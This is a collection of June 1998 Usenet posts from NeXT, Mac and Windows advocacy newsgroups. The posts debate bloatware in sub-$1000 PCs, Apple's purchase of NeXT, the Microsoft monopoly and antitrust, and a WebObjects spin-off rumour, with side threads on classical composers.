Date: Tue, 23 Jun 1998 11:51:31 -0700
Organization: Digital Universe Corporation
Message-ID: <358FF933.2383D55E@alum.mit.edu>
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NNTP-Posting-Date: 23 Jun 1998 18:52:40 GMT
http://cnn.com/TECH/computing/9806/23/ms.win98.reut
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Anti-bloat
Date: 23 Jun 1998 20:26:21 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6mp31d$k1i@newsb.netnews.att.com>
Originator: gupta@tlctest
If the current sub-$1000 market continues to grow, it might
act as a powerful brake against bloatware.
So far, the ever-improving hardware has made unbloated code
to be relatively unimportant. Note that some people think
that the sub-$1000 market is a temporary phenomenon because
because code/application bloat and/or legitimate requirements
will win out.
***
The reasoning is as follows : margins are slim on sub-$1000
dollar machines. If acceptable performance is achievable
with 32 MB less RAM, for example, even at $1 a MB, that is
$32 dollars of precious margin.
Likewise, if the OS takes only 100 MB, then a smaller
hard drive would suffice, again saving dollars.
Microsoft's future consumer OS is said to be a version of
Windows NT. It is presumably going to require more disk space
than current MS OSes.
Of course, the marketing must be done correctly.
E.g., a larger hard drive or more RAM will appear to be a
better value unless you emphasize the free space available
to the user, or the performance.
***
-arun gupta
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 23 Jun 1998 20:35:03 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6p04bn.ghk.sal@panix3.panix.com>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <Ev0J20.An9@micmac.com>
On Tue, 23 Jun 1998 16:27:36 GMT, Michel Coste <nospam@micmac.com> wrote:
>The real tragedy IS that Steve had to leave Apple to create NeXT!!!
Hmmm... Maybe the _real_ tragedy is that Steve behaved like an ass
and forced the board to kick him out. And then to add insult to injury,
he took a crew of x-apple people with him. Apple was going to help
fund NeXT at first.
>(If not the cube would have been created INSIDE of Apple and Carbon would
>have existed 10 years ago...)
Maybe.
>The sugared water dealer wasted all the computer history! He's faulty for
>all that trouble and the current M$ omnipresent domination.
If it wasn't for Scully, Apple wouldn't have had the Newton. Or the QuickTake
camera. Or any of the other products that the've killed in the past few
months. :)
--
sal@panix.com
Salvatore Denaro
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: sum it up: the Macintosh Faithful
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 23 Jun 1998 20:35:52 GMT
Organization: San Diego State University
Message-ID: <6mp3j8$pqv$1@hole.sdsu.edu>
References: <358E781B.EDBC8A6D@bcomp.com> <6mmggj$jvs$1@hole.sdsu.edu> <slrn6oto0b.cf.jason@jhste1.dyn.ml.org>
Jason S. (jason@jhste1.dyn.ml.org) wrote:
: [following a tribute to his amazing score reading...] "I afterwards
: learned that this stupendous receptivity for all the technical material of
: a work was not accompanied by any corresponding intensity of productive
: power; so that when he tried to set up as a composer I quite lost sight
: of him in the course of time."
Ah, but on the other hand, Twain (and a lot of other people) had
nice things to say about Wagner :)
Twain: "Wagner's music is better than it sounds."
?: "Great moments, and terrible half-hours."
?: "The great thing about Wagner is, you can go to the opera-house
at seven o'clock and sit down and listen to about three hours of music,
then look at your watch and realize that it's only seven-thirty."
-tomlinson (I enjoy Wagner, though in relatively small doses.)
--
Ernest S. Tomlinson
Vis apud te erit...aeterne.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Tue, 23 Jun 1998 20:37:24 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35901204.2990D190@nstar.net>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <Ev0J20.An9@micmac.com> <slrn6p04bn.ghk.sal@panix3.panix.com>
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Salvatore Denaro wrote:
> If it wasn't for Scully, Apple wouldn't have had the Newton. Or the QuickTake
> camera. Or any of the other products that the've killed in the past few
> months. :)
And if it wasn't for Mulder, we'd still have no idea what exactly will
ship with MacOS X Files. Oh, wait, we still don't.
MJP
From: Barry Friedman <friedman@cisco.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Tue, 23 Jun 1998 13:36:52 -0700
Organization: Cisco Systems
Message-ID: <359011E4.C8A51B95@cisco.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com>
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boracay@hotmail.com wrote:
>
> In article <billa-2206981913080001@archbald-96.slip.uiuc.edu>,
> billa@uiuc.edu (Bill Altenberger) replied:
>
> > Apple developers do. Enough said on this topic.
>
> Really? How come I don't see it. To be honest almost every company Apple,
> Sun, Microsoft or others who have touched computing have done nothing but
> make computers more difficult to program over the years. I just don't see the
> products about which you speak. I saw Steve Jobs showing off something
> onetime to make it easier to program, but it isn't mainstream and I don't
> know if it is anything at all. I have used LabView on PC and Mac, and that
> has ideas but limits. Really it seems no company cares about it. I mean make
> it real easy to program, and not some hybrid piece of junk which is hard to
> use, I mean really, really easy to program with a great GUI, all the
> functioinality ever needed in my app, robust, fast and so on. It just does
> not exist and I hardly see anyone who cares. It has gotten nothing but harder
> and harder to program over the years..
You should check out the Yellow Box (formerly OPENSTEP). Check out the
documents at this web page:
http://developer.apple.com/techpubs/rhapsody/rhapsody.html
I did some programming with OPENSTEP a couple of years ago, it really
does make many tasks in application development much easier.
I've also understand that Smalltalk is a great programming environment,
but it's lost a lot of mindshare to Java.
Barry
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Microsoft Pushes NT 4.0 Over Windows 98
Date: Tue, 23 Jun 1998 11:52:45 -0700
Organization: Digital Universe Corporation
Message-ID: <358FF97D.434027EB@alum.mit.edu>
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NNTP-Posting-Date: 23 Jun 1998 18:53:54 GMT
http://cnn.com/TECH/computing/9806/23/ntvs.win98.idg
From: billa@uiuc.edu (Bill Altenberger)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Tue, 23 Jun 1998 17:39:06 -0500
Organization: Just me
Message-ID: <billa-2306981739070001@archbald-27.slip.uiuc.edu>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com>
I glanced over the part about easy to program. I haven't been around
any mac programmers in about a year so I'll give you the benefit of the doubt
on this issue. I use to keep a few programmers happy on the hardware
end of things and never heard them bitch and moan about how difficult
mac programming was/is. As an end user I don't recall ever having
to RTFM to understand how mac software works. I have had to hunt down
a few mac bugs from time to time. I do a lot less bug hunting for Mac
software than I do for Wintel products. I would imagine that
cross platform compatibility issues make things more difficult
for programmers.
Bill
> In article <billa-2206981913080001@archbald-96.slip.uiuc.edu>,
> billa@uiuc.edu (Bill Altenberger) replied:
>
> > Apple developers do. Enough said on this topic.
>
> Really? How come I don't see it. To be honest almost every company Apple,
> Sun, Microsoft or others who have touched computing have done nothing but
> make computers more difficult to program over the years. I just don't see the
> products about which you speak. I saw Steve Jobs showing off something
> onetime to make it easier to program, but it isn't mainstream and I don't
> know if it is anything at all. I have used LabView on PC and Mac, and that
> has ideas but limits. Really it seems no company cares about it. I mean make
> it real easy to program, and not some hybrid piece of junk which is hard to
> use, I mean really, really easy to program with a great GUI, all the
> functioinality ever needed in my app, robust, fast and so on. It just does
> not exist and I hardly see anyone who cares. It has gotten nothing but harder
> and harder to program over the years..
>
> -----== Posted via Deja News, The Leader in Internet Discussion ==-----
> http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: rexr@dt1.sdca.home.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: sum it up: the Macintosh Faithful
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References: <358E781B.EDBC8A6D@bcomp.com>
Message-ID: <zfWj1.79444$Kx3.21459719@news.rdc1.sdca.home.com>
Date: Tue, 23 Jun 1998 22:46:55 GMT
NNTP-Posting-Date: Tue, 23 Jun 1998 15:46:55 PDT
Organization: @Home Network
In <358E781B.EDBC8A6D@bcomp.com> Alan Frabutt wrote:
> Reading the postings from the Macintosh Faithful brought something to
> mind. I once heard a radio show describing the work of brilliant
> composer Camille San-soun (sp?)... talking of his mindset:
>
> "...changing, over time, from radical revolutionary to crusty
> reactionary..."
>
> Kind of says alot, don't it?
>
>
We have borne witness to the creation of the computer industry as "high
tech". Now some 25+ years downstream of the PC "revolution", Yes we have the
advantage of looking back on our history.
I have not seen revolutionary in the computer industry since WWW, Key
Encryption and Macintosh. Industry hasn't a clue how to capitalize the
first, the gov't of the US has crippled the second and Apple... well you know
WINDOWS.
DOJ anti-trust suits of late provide convincing evidence that the Computer
Industry had moved from high-tech to basic technology, in the eyes of the US
gov't. That is the most significant realization to grasp. Computers, like
steel of prior economies, are an essential ingredient - basic industry.
Grok that...
-r
From: rexr@dt1.sdca.home.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: WebObjects spin-off rumor
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<6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com>
<6lvkg4$msk$1@crib.corepower.com> <6m0kg4$khs@nntp02.primenet.com>
<6m13tr$ndd$4@ironhorse.plsys.co.uk> <6m1eq1$hkq@nntp02.primenet.com>
<6m8k50$5mq$2@ironhorse.plsys.co.uk> <6ma6gv$akr$1@argentina.it.earthlink.net>
<SCOTT.98Jun18224025@slave.doubleu.com>
Message-ID: <2nWj1.79445$Kx3.21459719@news.rdc1.sdca.home.com>
Date: Tue, 23 Jun 1998 22:54:54 GMT
NNTP-Posting-Date: Tue, 23 Jun 1998 15:54:54 PDT
Organization: @Home Network
In <SCOTT.98Jun18224025@slave.doubleu.com> Scott Hess wrote:
> In article <6ma6gv$akr$1@argentina.it.earthlink.net>,
> "Ziya Oz" <ziyaoz@earthlink.net> writes:
> For those who have had a hard time realizing the insignificance of
> the $2M/quarter profit value of the enterprise-focused WebOjects to
> the $4Billion/year newly consumer-centric Apple, enjoy the latest
> from Mac the Knife:
>
> "Word to your mother: Apple seems to be suffering similar maternity
> pains this month, at least judging from the latest rumors of
> forthcoming software spin-offs. For starters, reports are emanating
> from the Mother Ship of a possible extrusion of WebObjects, the
> hot-'n'-hunky object-oriented Web development tool Apple acquired
> along with NeXT. The jury is reportedly out on whether to sell off
> the technology or launch WebObjects Inc. with an IPO."
>
> I know! I know! Spin it off, then suck it back in and kill it!
>
> Actually, it does somewhat make sense, just as the Lucent spin-off
> made sense. I'm not clear why they would even consider selling off
> the technology (presumably Apple uses it itself?), nor am I clear why
> they would do an IPO rather than just distribute 1 WOI share for every
> 100 AAPL shares.
>
> [Of course, they could be letting the intern manage things, again],
>
What a massive slaughter this one promises to be if released as a stand alone
IPO. WebObjects is "hot" technology. Which is it's worst feature.
WebObjects requires a cadre of skilled technicians and consultants to guide
and engineer deployment. No IPO could deliver the consulting infrastructure
to support product sales.
Far better if the Business model doesn't fit AAPL, to sell it off to the
highest bidder. Highest and best use would emerge in the form of CA, SAP,
NetObjects, ADOBE, Macromedia, etc...
If a grain of truth be found in this rumor AAPL is cannabalizing herself...
-r
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 24 Jun 1998 00:13:38 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <898643883.37248@kelp.mbay.net>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <Ev0J20.An9@micmac.com> <slrn6p04bn.ghk.sal@panix3.panix.com>
Cache-Post-Path: kelp.mbay.net!unknown@otter.mbay.net
>>(If not the cube would have been created INSIDE of Apple and Carbon would
>>have existed 10 years ago...)
>
>Maybe.
I doubt it. If Steve had stayed at Apple the Mac probably would have
evolved more. The black hardware and NeXTStep were the result of
a clean break; since they couldn't use any of the old Apple stuff,
they swiped from Unix and Smalltalk, which had different ancestery.
--
Don McGregor | "I didn't say all the things I said."
mcgredo@mbay.net | --Yogi Berra
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 23 Jun 1998 23:09:36 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35b01a7f.29824100@news.supernews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu>
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rmcassid@uci.edu (Robert Cassidy), on Tue, 23 Jun 1998 00:33:32 -0800,
>In article <petrichEuyx44.Lx8@netcom.com>, petrich@netcom.com (Loren
>Petrich) wrote:
>
>> >I appologize, I misunderstood your argument. I am still a little fuzzy on
>> >your position. Are you saying "the Internet became easy to access (WWW, etc)
>> >by itself and any credit Win95 received is totally bogus"?
>>
>> Imagine that M$ had never existed. I'm sure that some other
>> company would have taken its place. This is because the 1970's and 1980's
>> had seen several competing microcomputer architectures.
>
>I don't think they would have to the same magnitude. Keep in mind that a
>certain amount of MSs position in this world is due to their ability to
>leverage proprietary file formats into OS share. How many OS/2 or MacOS
>seats were lost becuase Windows promised _nothing_ more than guaranteed
>up-to-the-minute support for Word and Excel? As such, Windows is not an OS
>so much as a compatability platform for Office and some other apps. No
>other company was really in a position to build this model in the 80s and
>it is the presence of this model that presents the illusion that Windows
>will be yet another compatability platform for the internet.
I'm afraid I must disagree with your perception of the software world
prior to the MS monopoly. It also is a typical "cart-horse" issue that
you seem to believe that Microsoft is why all those people bought all
those PCs. The same magnitude of market would have been available, and
could possibly have been larger, for several competing vendors.
You do have a point about Windows as "compatibility platform for Office"
(in more ways then one, of course). But our discussion so far has
primarily concerned Internet access. The office application market was
absolutely established even before Windows was introduced, and there
were many fine, if rudimentary, products. But the ten years of
advancement would have been just as long, if not much busier, regardless
of whether Windows was the OS on those desktops.
People don't buy a PC to use Windows. They buy Windows to use a PC.
>Consider a world where we have the MacOS and OS/2 and Windows and Linux
>and so on, but no MS apps. We'd likely still have Lotus and WP around
>writing our apps but likely no OS would have that 'compatability'
>influence that Windows has now. The fight in the OS space would be
>specifically for that - compatability, much as it is for Apple right
>now...
No, it shouldn't be. The fight in the OS should be connectivity, and
application support. Let the apps battle over file format compatibility
on their own; there's no reason for that to have anything to do with the
OS.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 23 Jun 1998 23:09:33 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35af0efc.26876330@news.supernews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <35deaab4.128506219@news.supernews.co <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <6mmse2$m0u$1@nnrp1.dejanews.com> <359411ae.2541591@news.supernews.com> <6moqi4$5cl$1@nnrp1.dejanews.com>
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dpetticord@hotmail.com, on Tue, 23 Jun 1998 18:01:40 GMT,
>In article <359411ae.2541591@news.supernews.com>,
> mdevlin@eltrax.com (T. Max Devlin) wrote:
>> dpetticord@hotmail.com, on Tue, 23 Jun 1998 00:21:22 GMT,
[...]
>I could agree that OS/2 did not stand much of a chance. The original point
>continues to be that Microsoft was reacting to the market (consumers and
>competitors). I assume you agree it mattered what Microsoft did or didn't do.
>If Microsoft didn't provide internet access, OS/2 could have very well have
>eaten into their market share.
I agree that it mattered what Microsoft did or didn't do, I believe it
didn't matter what IBM did or didn't do. This seems a clear indication
of anti-competitive business practices. You have hopefully already seen
my comments on my correlation of "anti-competitive" to mean "illegal",
according to anti-trust law.
[...]
>I respect your opinion, and even agree with it to some degree. Microsoft
>was just going along for the ride. But that is what a successful company
>should try to do. You can accuse them of "stealing" the internet momentium,
>but that is what a good marketing department should try to do.
No, not steal. A good marketing department _uses_ market momentum,
might even _direct_ market moment, but does not cut off other's ability
to do so. That's illegal, if you have enough market dominance to pull
it off to begin with.
[...]
>> >Why do you think PeeCee Unixes will be any more homogeneous than other
>Unixes?
>> >What will keep the PC hardware manufacturers from diverging?
>>
>> Customer demand, same as now. Besides, I think you overvalue
>> homogenaetty. Within a company, maybe, its great. Otherwise, it simply
>> restricts your alternatives. "Cyberdiversity" is a word I just invented
>> as I typed it, but I think it is a very obvious and important concept.
>
>You made two arguments, one "it won't diverge" and two "divergance isn't bad".
Correct. I congratulate myself on my pragmatic approach. ;-)
Seriously, my point was that if the market demands divergence,
divergence is good. The only thing *theoretically* keeping the market
from diverging now (not that it's not diverging somehow, of course) is
customer demand. Or are you saying we need the raw righteousness of
Windows to keep everyone even?
>To the first point... Do you really think the mass market will think twice
>about compatibility when they can buy a "complete PC" for only $499. Try to
>deny it all you want, but price is a prime motivator in the desktop market.
>Most of it is about "Getting the fastest for the cheapest so you can brag
>about it at the water-cooler".
If cheap disposable clients are in demand, that makes sense. What makes
you think there would be any compatibility issues? The fact is, it is
cheaper and easier for _everyone_, sellers as well as buyers, to
maintain what compatibility is efficient. Let the market decide. I'll
buy a "complete PC" for $500 for my wife, and I'll maintain a server
which gains value from the accessability of PC hardware to make even my
top-of-the-line components both less expensive and higher quality.
If not all of our hardware is interchangeable, that is less of an issue
then if our software is compatible.
It is when the "mass market's" desire for a $500 PC makes it impossible
to access the market at different price points with different levels of
quality and service that things are broke. But I really don't think we
have to worry about the industry's maintenance of the PC hardware
platform, once we have competition in the OS market. If anything, it
should improve the situation, as tighter controls will be required and
technical improvements can be added free of the demands of the Behemoth.
>As to "cyberdiversity", I think we are getting to another crux of our
>differences. Sure, to you and I, "heaven" would be millions of cheap tools
>available so we could always find the perfect one for the job we want to do
>today. For the average home user, this is "hell". The number one complaint
>I get from new computer users is that there are more than one way to do the
>same things. They want simple, straight forward answers. It is an ideal that
>computer users (not programmers) have always wanted and always will.
People have always ideally wanted to get something for nothing.
Anytime, anyplace. That, to a certain extent, the Microsoft Experience
_does_ take advantage of a real need to compromise on that point, and
give people freedom from choice, rather than freedom of choice, I have
to agree with you, though I think it is a shame.
The number one complaint _I_ get from new users is that it doesn't
automatically know what they want to do. The second most frequent is
wanting to know why they can't get it to do what they want.
To a positively scary degree, the answer is occasionally "Because
Microsoft doesn't think you should do it that way, and you really don't
want to try to be incompatible".
Your fear is based on the idea that "being incompatible" is still going
to be a problem when there is real competition, and nobody has 85%+
market share. I honestly don't think this is true.
Most people end up having to learn a whole lot about how computers
really work in order to navigate the nightmare of the current platform.
I don't really think that gets harder, though I do not in any way mean
to say that nobody who has already learned Windows should not be free to
continue doing so as long as they like. Once the monopoly is broken.
>> >Here is just one answer to your question of "how so?"...
>> >
>> >OEMs have a history of trying to "improve" their products by designing
>> >propriatory, non-standard boards. The need to be compatible with the next
>> >release of Windows is what has kept them at bay. If you get rid of this,
>> >I have little doubt that OEMs will contractually tie themselves to "their" OS
>> >producer and immeadiately put everything on the mother-board to reduce cost.
>> >The fragmentation of the PC market will be inevidable after that.
>>
>> Somebody has finally actually _spoken_ this ludicrous theory that we
>> *must have* a Windows monopoly or the PC platform of open architecture,
>> industry standard interchangeable components will not have any value.
>
>You are not contradicting this "ludicrous theory". Do you question the
>desirability of making the "all-in-one" motherboards for the mass market?
What the hell does this have to do with Windows? Nevertheless, of
course I question the desirability. I thought everybody understood the
value of modular construction and interchangeable parts.
The "mass market" never even opens the case; what the hell do they care?
Well, when a single capacitor blows on the stupid thing and the shop
says "we just replace the whole motherboard, that'll be $150", I think
they might want to opt to put some of those components on replaceable
daughter boards, eh?
>Technical people like us would never buy one, but we are the minority now.
I just bought one. I didn't think they sold anything else these days.
I mean, it didn't have a video or sound card, but it has an integrated
I/O controller.
>Are you counting on alteristic actions in the shark infested OEM waters?
Of course not. I trust the market, implicitly. Which is why I find
Microsoft's monopoly, which almost entirely abrogates real market
mechanisms, so intolerable.
>You have all but admitted that software diversity will happen and is
>desirable. Why couldn't the same thing be said for hardware diversity?
Again, physics indicates there will not be anywhere near the
opportunity. Nevertheless, the same thing could be said. Certain
degrees of compatibility and certain degrees of divergence is how any
technical market works. Those who think a "mass market" decided that
"Windows is best" really really want to insist that computers are a
"consumer market" now, not a technical one.
I see no point in denying reality. Computers, by nature, are _supposed_
to be technical. Not to prevent consumer access, but to enable it. If
we really just wanted WebTV and smart typewriters, we'd have bought
them. The mass market is buying general purpose microcomputers.
Obviously, they are ready for a technical product; stop talking down to
them.
If the hardware diverges, they can handle it, will take advantage of it,
and will demand the market keep up with them, however best works for
them.
>> When discussing economic markets, I don't think "extreme chaos" causes
>> misery and pain. More like wealth and opportunity, actually.
>
>For us, yes, but others will feel pain.
Do you realize how much of your argument seems to be based on FUD? I
know it's really hard to let go, but most people can certainly use a Mac
as easily as a PC, and a surprising number of them are ready to go for
Unix.
Imagine how silly all this "Windows is easy" crap will seem to the kids
in school now, who may soon be the proud owner of a Linux system. Is he
going to be bothered with not being able to doubleclick setup.exe?
Or is he simply going to set it up so that his Mom can doubleclick
"Setup"?
>> > Microsoft is a fairly benevolent dictator (Most upstarts
>> >receive generous bribes to go away), but a dictator is a dictator and it is
>> >human nature to fight them. Just be sure you will be happy with what you
>> >are asking for.
>>
>> I do believe you are losing it, David.
>
>Ok Max, it is getting time to confess motivations.
>
>Microsoft must be stopped because...
>
>a) No one company should be allowed to have that much power.
>
>b) Home users should be forced to understand the computers they own.
>
>c) Unix must be saved from being replaced by an inferior OS.
>
>d) It is importance that all laws must be enforced.
>
>e) Cyberdiversity will dramitically increase the worth of technical skills
>
>f) Microsofties are too smug, they all need a punch in the nose.
>
>Obviously, you can choose more than one, all of them, or add your own. I
>suspect "c" is one of your stronger motivators.
Odd. I came to the Unix party late, and still consider myself of
extremely limited skill. High-schools should teach script writing. ;-)
Unix is a truly important advance in computer science and engineering,
kind of like the PC platform. It makes things easier for everyone,
buyer, seller, user, developer, to have some touchstone standards for
computer technology. The only people who would ever think that there is
a better way to do it then to accept and use such standards is greedy
bastards with unethical scams on their mind. Snake oil salesmen who
need to pawn off their shoddy goods.
To be honest, of course, I would have to own up to all of these
motivations. While you certainly seemed to try to phrase them as limits
on thinking or character flaws (especially that last one), I think you
did an admirable job of listing all the reason why I am interested in
seeing the illegal Microsoft monopoly dealt with.
>As for my motivation...
>I tend to pity the home user and do not like seeing our courts used to deliver
>a "punch in the nose" regardless of how well deserved it is.
You pity the home user, so you think it is best not to give them the
benefits of open standard technology? Thanks anyway; take your "pity"
elsewhere. If consumers didn't want microcomputer they could own and
use, then they wouldn't have bought them. Or are you again saying that
they can only hope to use them as long as Microsoft restricts their
choices enough to make it easy for you to explain? Have you ever
bothered explaining the licensing for their various products? I pity
the home user, too, but obviously not for the same reason you do.
Watching our courts deliver a "punch in the nose" by enforcing the law
is called justice; that is what the courts are for. Why wouldn't you
want to see this?
>I understand that Microsoft is a bully and receives much more credit than it
>deserves. There is a balance here. Microsoft is both good and bad. I would
>prefer to see a gradual evolution as opposed to a sudden revolution.
Me too. Unfortunately, Microsoft didn't play the game by the rules;
they could have started this gradual evolution towards a competitive
environment which empowers the end user on their own at any time.
Instead, they just kept getting more proprietary, and more restrictive,
and doing more things to hijack a hardware platform market that they
don't own, and leveraging their monopoly to take over more related
markets, and all the while their software is getting demonstrably
worse...
Sorry. The Internet and PC platform are too important to wait on
Microsoft's leisure. The revolution was the open hardware of the PC,
and it ain't over yet.
>I am just as frustrating to Microsoft purists in the work world. "It is
>Microsoft" is not a product choice justification in my book.
Good!
> Unfortunately
>for its critics "it is Microsoft" is also an insufficient product
>condemnation.
Well, _product_ condemnation, I would have to agree with you, of course,
for pragmatic reasons. However, it is certainly sufficient product
_choice_ condemnation, if you can avoid it.
Ten years ago, it was excusable to not recognize the harm that comes
from becoming dependant on a monopoly (though I have no idea why, given
the industry's history with IBM). Today, any technologist that does not
take that into account when choosing Microsoft products, just as he
would take into account the reliability of the company for any other
product, is not making sound business decisions.
>BTW, I think our "balanced" debate is going well.
I'm trying, thanks. ;-)
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998062323495900.TAA02756@ladder03.news.aol.com>
Date: 23 Jun 1998 23:49:59 GMT
Organization: AOL http://www.aol.com
References: <OfQj1.9326$r5.4861104@proxye1.san.rr.com>
Ed Deans said:
> you can rest assured
>the NeXTSTEP 3.x and NeXTSTEP 4.x pre-release looks will be available
Yes, but I want more than just the appearance of NeXTstep, I want the
underlying functionality--what about animated icons? The Mac OS makes no
provision for displaying such--will application vendors trouble with them any
longer? How much effort will be involved in disposing of the horizontal menu
bar? Would such a hack (if not implemented in the OS itself) affect stability?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: sum it up: the Macintosh Faithful
Date: Tue, 23 Jun 1998 07:52:02 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <Euzv6q.DH@AWT.NL>
References: <358E781B.EDBC8A6D@bcomp.com> <6mmggj$jvs$1@hole.sdsu.edu> <6mmhf7$k04$1@hole.sdsu.edu>
etomlins@rohan.sdsu.edu (tomlinson) wrote:
>tomlinson (etomlins@rohan.sdsu.edu) wrote:
>
>: Was Saint-Saens ever a "radical revolutionary"? I happen to like
>: his music, especially his violin concerti and of course "Carnival
>: of the Animals" and "Danse Macabre", but on the whole Saen-Saens
>: impresses me, I don't know, Tchaikovsky Lite.
>
>Oops. "Saen-Saens" (I was dozing off there)? Read "on the whole,
>Saint-Saens impresses me _as_ Tchaikovsky Lite."
<newsgroup-noise>
Saint-Saens has sometimes been called the "French Beethoven" (I think this
was in his own time). His piano concertos are brilliant (especially the award
winning performances of Aldo Ciccolini), especially the 2nd, 4th and 5th (all
five are available in a CD box, highly recommended, I think EMI). As far as
from revolutionary to reactionary is concerned, I know not enough to comment
with authority, but it seems to me the 2nd piano concerto is more traditional
than the 4th.
In my view he is not like Tchaikovsky at all. Tchaikovsky is *very* Russian.
One advantage over Beethoven: Saint-Saens knows how to end a piece (where
Beethoven goes on and on with his finales :-)
</newsgroup-noise>
--G
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Tue, 23 Jun 1998 07:57:20 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <EuzvFK.Es@AWT.NL>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net>
"Michelle L. Buck" <buck.erik@mcleod.net> wrote:
>Playing devil's advocate -
>
>Well, Apple could have attracted the people (and other talented ones as
>well) for a small fraction of 400M. How about 200 people with a 1M signing
>bonus ? They would have had the cream of Silicon Valley at half the price.
There *is* a small difference between attracting a group of talented
individuals or attracting a team with the relevant experience.
>Read the WWDC Carbon session notes. It is really depressing. A lot of work
>is ongoing with Carbon. There are likely many more Apple employees working
>on Carbon than anything else. What concerns do they have ? They want a
It is very difficult for Apple to train all their employees in the new ways.
And training doesn't make them good at it overnight. The knowledge and
experience with olde MacOS is worth something. Apple must make use of that or
they'll go belly up in no time.
--G
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 23 Jun 1998 17:51:48 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2306981751480001@dante.eng.uci.edu>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com>
In article <35b01a7f.29824100@news.supernews.com>, mdevlin@eltrax.com (T.
Max Devlin) wrote:
>I'm afraid I must disagree with your perception of the software world
>prior to the MS monopoly. It also is a typical "cart-horse" issue that
>you seem to believe that Microsoft is why all those people bought all
>those PCs. The same magnitude of market would have been available, and
>could possibly have been larger, for several competing vendors.
I *don't* believe that MS is why people bought PCs. I belive that Office
is why people bought Windows instead of some other OS. Had Office stayed
true on the Mac from where it was born I imagine that the Mac would have
been somewhat better adopted in an enterprise setting. Basically, had we
stuck with Wordperfect and Lotus evolving the Office suite instead of MS,
then they would have had to do a better job of cros-platform support, and
we'd have more balanced platform options as a result.
>You do have a point about Windows as "compatibility platform for Office"
>(in more ways then one, of course). But our discussion so far has
>primarily concerned Internet access. The office application market was
